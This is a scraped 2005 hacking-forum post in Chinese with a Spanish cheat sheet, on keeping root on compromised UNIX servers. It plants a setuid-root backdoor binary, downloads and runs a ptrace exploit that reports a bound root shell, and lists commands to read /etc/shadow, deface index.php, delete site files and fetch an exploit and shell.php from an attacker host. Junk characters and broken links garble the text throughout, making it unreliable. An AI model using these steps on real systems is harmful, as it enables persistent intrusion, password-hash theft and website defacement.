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标题: 总结UNIX成为root以后保持权限的方法 [打印本页]
作者: 韩冰    时间: 2005-2-4 23:57
标题: 总结UNIX成为root以后保持权限的方法
<><FONT color=#ff0000>by:cnbird</FONT></P>
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<>[cnbird@localhost tmp]#id</P>
" d7 l- r( S% X' d  G7 V. h<>uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk)</P>
& ~- b9 I7 f1 p' }1 [<>[cnbird@localhost tmp]#cp `which id ` .</P>
: }8 w* M: A$ |! f# W* q' [' |<>[cnbird@localhost tmp]#chown root ./id</P>
6 [% k, M. k& Z<>[cnbird@localhost tmp]#chmod 755 ./id ; chmod u+s ./id</P>8 v. l( l  M/ D7 ~
<>[cnbird@localhost tmp]#ls -l ./id</P>: k4 u' P9 ^$ U" y8 t2 Z
<>-rwsr-xr-x 1 root root 9264 Mar 8 21:36 ./id*</P>7 H$ D, j! O7 l# ~" H
<>[cnbird@localhost tmp]#exit</P>. |# g7 I  e0 ~- W
<>[cnbird@localhost tmp]$id</P>, _. y" T2 }; w( b
<>uid=500(cnbird) gid=500(cnbird) groups=500(cnbird)</P>6 y6 T: p3 ~9 D6 y
<>[cnbird@localhost tmp]$./id </P>- Q6 I/ x3 W. ?0 q+ X; n1 `# N  A, B
<>uid=500(cnbird) gid=500(cnbird) euid=0(root) groups=500(cnbird)</P>
' t' s# f% F2 r: c5 {! b<>2.利用ptrace成为root的方法</P>& A  j" j+ d! h  F
<>[bash]# cd /tmp/; wget <a href="http://delivered.informaticahispana.org/ptrace.c" target="_blank" ><FONT color=#0000ff>http://delivered.informaticahispana.org/ptrace.c</FONT></A>; gcc ptrace.c -o ptrace; chmod -c 777 ptrace; ./ptrace* Q. ]. U0 M+ s
-&gt; Parent's PID is 2313. Child's PID is 2314.
$ e: T3 N: t/ t0 S" d: P8 L; Z, v-&gt; Attaching to 2315...7 u, ^+ j  J/ H0 M0 l9 R
-&gt; Got the thread!!+ Y  U. J8 g+ }$ |
-&gt; Waiting for the next signal...
- P& O+ P2 t& G% \6 [, R- G# M-&gt; Injecting shellcode at 0x4000e85d
$ D4 T! Y* M0 A) p( G( V-&gt; Bind root shell on port 24876... =p2 ]) }0 T( d( j( R1 A" \+ l
-&gt; Detached from modprobe thread.3 K% L" ]2 e2 R/ f" {, @+ _
-&gt; Committing suicide.....</P>1 B. O5 F: d6 W
<>[bash]# id
$ x4 J- v9 S) j  i9 nuid=0(root) gid=0(root) groups=0(root)</P>5 g8 W0 u2 ?; p/ K) O) X* k
<>ara ver los dominios que hay en el server:
) p5 j: p9 y+ W8 Q0 T---------------------------------------------------------
# V5 k' T( P& ^" Ucat /etc/httpd/conf/httpd.conf|grep ServerName &lt;&lt; Solo salen los dominios9 {" |  }- y0 ^
cat /etc/httpd/conf/httpd.conf &lt;&lt; Unicamente los puros dominios
; e' M, V+ a6 n7 M+ ycat /etc/localdomains &lt;&lt; Unicamente los dominios locales
' a9 j& i( e" S9 E9 W1 q- Tcat /etc/trueuserdomains &lt;&lt; Revela los verdades propietarios de cada dominio
, Q- t8 F) J! o7 ecat /etc/userdomains &lt;&lt; Este es el mas comun
' z7 K+ |& G/ J9 d7 |---------------------------------------------------------</P>' Y$ T, m% K$ B+ f5 ^' v% M
<>ara ver la version de kernel:
/ j2 A! s/ g3 x  d2 P( ]---------------------------------------------------------
, y5 a' F( }8 ^& s9 `uname -a &lt;&lt;Te sale algo asi Linux itys.host4u.net 2.4.20....., 2.4.20 viene siendo la version del kernel.
8 l' t9 w, D9 I9 t---------------------------------------------------------</P>
  G% E3 G" Y  P<>ara modificar un index ya existente:
7 U  c$ X- Z  m7 P4 D7 o---------------------------------------------------------
7 Y) r% J/ k" Cecho "RootBox was OwNz You"&gt;index.php &lt;&lt;sobreescribe el archivo index.php con nuevo contenido
% d. M4 D  I+ S7 E6 F---------------------------------------------------------</P>
5 V  @$ I# \* l" D5 J0 g) r<>ara subir, compilar, darle permisos de ejecucion y ejecutar un exploit:
5 y; p) \7 e' k( [---------------------------------------------------------- x0 L% L1 u9 h2 Y$ V
cd /tmp/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/exploit.c"&gt;<FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/exploit.c</FONT></A> &lt;&lt;aqui subimos el exploit
" ~, z2 R2 u3 v9 @: Mcd /tmp/;cc exploit.c -o exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui lo compilamos con el nombre de "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
; E8 l" a  Z# }5 F& _cd /tmp/;chmod -c 777 exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui le damos permisos de ejecucion a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado"
$ o6 h+ D: W; J9 E- Y* ccd /tmp/;./exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado &lt;&lt;aqui estamos ejecutando a "exploit<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>compilado".
" A! I( u- f# `% _/ lHasta aqui termina el proceso para un exploit.$ a0 ~- H8 B3 u6 R6 S3 L* Y8 f: W
---------------------------------------------------------</P>1 m7 |/ \: r3 |# i  J4 ~% m
<>Ver las contrase&ntilde;as encriptadas de todos los usuarios:3 w6 D- C) r- s2 @6 V. S
---------------------------------------------------------
( u5 i, f& ^9 b" X9 x/ S1 ecat /etc/shadow &lt;&lt;Solo funciona si tienes permisos como root.
0 ]+ C' D$ ^  d, \1 [# R---------------------------------------------------------</P>
1 [" }9 w' q9 _! E  E. u; Z<>Borrar un Ficher
8 L0 C6 c" ^6 x4 S/ B---------------------------------------------------------
3 m  O9 a1 x! p/ ^1 S( J6 ]9 w( Rcd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;rm import.htm&lt;&lt;aqui estan borrando con el comando rm, el fichero import.htm
, L/ H3 X$ [$ B- x6 k% Z* A& p---------------------------------------------------------</P>
/ z1 S3 |, a3 y3 a) X) y<>Subir un ficher0 e2 y; c' }7 w, C
---------------------------------------------------------
% ]5 _3 F+ \( h; Ccd /home/juan/public<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>html/;wget <a href="http://web<a%20href=/" target="_blank" >_</A>atacante/shell.php&lt;<ESTAMOS"><FONT color=#0000ff>http://web<a href="http://hackbase.com/hacker/tutorial/200502039807.htm#" target="_blank" >_</A>atacante/shell.php&lt;&lt;Estamos</FONT></A> subiendo el fichero shell.php</P>
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